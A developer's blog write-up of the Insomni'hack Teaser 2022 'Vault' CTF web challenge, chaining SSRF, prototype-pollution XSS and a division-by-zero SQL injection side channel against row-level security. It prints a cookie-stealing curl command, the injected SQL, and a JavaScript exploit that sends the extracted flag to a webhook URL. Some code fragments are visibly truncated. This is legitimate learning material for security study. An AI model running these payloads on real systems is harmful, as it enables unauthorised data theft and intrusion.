22. 03. 2022 Mattia Codato ctf-writeups, Development

CTF Insomni’hack Teaser 2022 ─ Vault Challenge

On January 29th, I attended my first CTF (capture the flag) competition: the Insomni’hack teaser.
Based on my skills, I decided to go for the challenge called Vault which consists of a web-based vault of five pages: a home page, one where you can see the key/value pair you entered after logging in, a page for reporting an anomaly to the support team, and finally the registration and login pages.

home page

After the first few minutes of browsing through the pages and finding there weren’t any actions to perform, I started reading the source code that was provided.

The web application was a single page application composed of an HTML file, a JavaScript file that communicates via API with the back-end written in Python that reads and writes to an MSSQL database.
The target flag is saved in the dbo.Vault table:

Server-side Request Forgery (SSRF)

The first vulnerability I noticed was a server-side request forgery, specifically a vulnerable API at /api/report. The problem was that this resource accepts a URL parameter via a POST and then the backend visits this URL by making a GET request via a Chromium instance.

The interesting part is that before executing this request the backend was generating valid cookies for the admin user.

So I immediately performed a POST request with the URL of a site under my control to try to steal the cookies.

curl -X POST "http://vault.insomnihack.ch:5000/api/report" --data "url=http://<webserver_under_your_control>"

Unfortunately, and as one might predict, the cookie had as the domain localhost:5000, so in the request that arrived it was not present.

SQL Injection

I continued to read the code and found an SQL injection in the API resource /api/stats. This time the resource accepted via GET the username parameter which was then concatenated to the SQL query:

"SELECT inserttime FROM dbo.Stats WHERE username = '" + request.args.get("username") + "'"

I tried to exploit this vulnerability in conjunction with the previous one to try to read the flag:

curl -X POST "http://vault.insomnihack.ch:5000/api/report" --data "url=http://localhost:5000/api/stats?username=';<SQL injection>"

Unfortunately, it wasn’t possible due to a security policy that allowed the flag to be read-only by the user who entered it, in this case the user secret, but not the user admin.

Side-Channel Attacks in Row-Level Security in SQL Server 2016

Having never used Microsoft SQL server, I started to study and investigate possible vulnerabilities related to SQL Server 2016. I came across these 3 very interesting articles that in addition to explaining what security policies are and how they work, illustrate how it’s possible to bypass them by triggering a division by zero.

I spent many hours and many attempts understanding how to exploit this vulnerability, because if the flag was a number it would be simple, but in reality it was a string.

The idea here is to run a query for each flag character, convert it to ASCII code, and then try to trigger a division by zero by subtracting a number from 0-127 (the entire ASCII table). The right character for that position in the string is found when an error is triggered.

Below is the query that I used in the SQL injection vulnerability explained earlier. Note the two dashes at the end that comment out all the subsequent characters that will be inserted by the application. Without this, it always returned an error.

' UNION SELECT '01-01-2012 12:00:00 AM' FROM dbo.Vault WHERE username = 'secret' AND secret_name = 'FLAG' AND 1 / (ASCII(SUBSTRING(secret_value, " + char_position + ", 1)) - " + ascii_code + ") = 1; -- "

Cross-site Scripting (XSS)

To exploit the vulnerabilities found, it was necessary to be able to execute JS code as an admin user, so an XSS vulnerability was needed.

I noticed this line in the main.js file:


This is a method of the jQuery query-object plugin, and in combination with the get method a few lines later:

case "secrets":
  $.get("api/secrets", function(data) {

is vulnerable to the vulnerability called Prototype Pollution.

Thanks to the above vector attack list I found that the following call triggered an alert:


It also worked on the logout page, but that was more annoying to test because you were redirected to the home page after each call.

All Together Now… The Solution!

At this point, the chain of vulnerabilities was clear:

SSRF to execute a request as admin user→ XSS to execute JS code with the admin user → SQL injections to trigger a division by zero and find the characters of the flag

I then wrote the following script that tests every printable ASCII character until a timeout occurs (there’s a 30 second timeout in the backend code) or until the last character of the flag.

The script starts from the first position and when a character is found (msg.status === "NOK" → division by zero occurred) it is stored in a string and then the code tries to find the character in the next position.

Once we have the entire sequence of characters in the flag, we send it to a website that we have under our control.

function init() {
    const WEBHOOK_URL = "https://webhook.site/91253a22-9e84-49c1-a174-05be589226b8";
    const FIRST_ASCII_CHAR = 32;
    const LAST_ASCII_CHAR = 127;
    const start_time = +new Date();

    function try_ascii_code(ascii_code, flag) {

        if ((+new Date()) - start_time >= 29000) {
            location = WEBHOOK_URL + "?flag=" + flag + "&reason=" + "timeout";

        if (ascii_code === LAST_ASCII_CHAR) {
            fetch(WEBHOOK_URL + "?flag=" + flag + "&reason=" + "end");

        const char_position = flag.length + 1;

        const query = "' UNION SELECT '01-01-2012 12:00:00 AM' FROM dbo.Vault WHERE username = 'secret' AND secret_name = 'FLAG' AND 1 / (ASCII(SUBSTRING(secret_value, " + char_position + ", 1)) - " + ascii_code + ") = 1; -- "
        const url = "http://localhost:5000/api/stats?username=" + encodeURIComponent(query);

            .then(response => response.json())
            .then(data => {
                if (data.status === "NOK") {
                    flag += String.fromCharCode(ascii_code);
                    console.log("FOUND: " + flag);
                    try_ascii_code(FIRST_ASCII_CHAR, flag);
                } else {
                    try_ascii_code(++ascii_code, flag);
            .catch((error) => {
                location = WEBHOOK_URL + "?flag=" + flag + "&reason=" + "error";

    try_ascii_code(FIRST_ASCII_CHAR, "INS{");

let encoded = btoa(init.toString() + "; init()")
const encodedURI = '?__proto__[url][]=data:,' + encodeURIComponent('eval(atob("' + encoded + '"))') + '//&__proto__[dataType]=script#page=secrets'
let url = 'http://localhost:5000/' + encodedURI

The code above can be copied and executed in a browser console to obtain the following vector attack.


The final result:


The road to get to the flag was long and difficult, and unfortunately I was not able to reach the solution within the time limit, But I didn’t feel like giving up, so I continued for several days even after the end of the challenge.

It was my first CTF and I really enjoyed it! It gave me the right motivation to deepen my knowledge about the vulnerabilities I found, and I will definitely use this knowledge to improve NetEye.

These Solutions are Engineered by Humans

Did you learn from this article? Perhaps you’re already familiar with some of the techniques above? If you find security issues interesting, maybe you could start in a cybersecurity or similar position here at Würth Phoenix.

Mattia Codato

Mattia Codato

Software Developer - IT System & Service Management Solutions at Würth Phoenix


Mattia Codato

Software Developer - IT System & Service Management Solutions at Würth Phoenix

Leave a Reply

Your email address will not be published.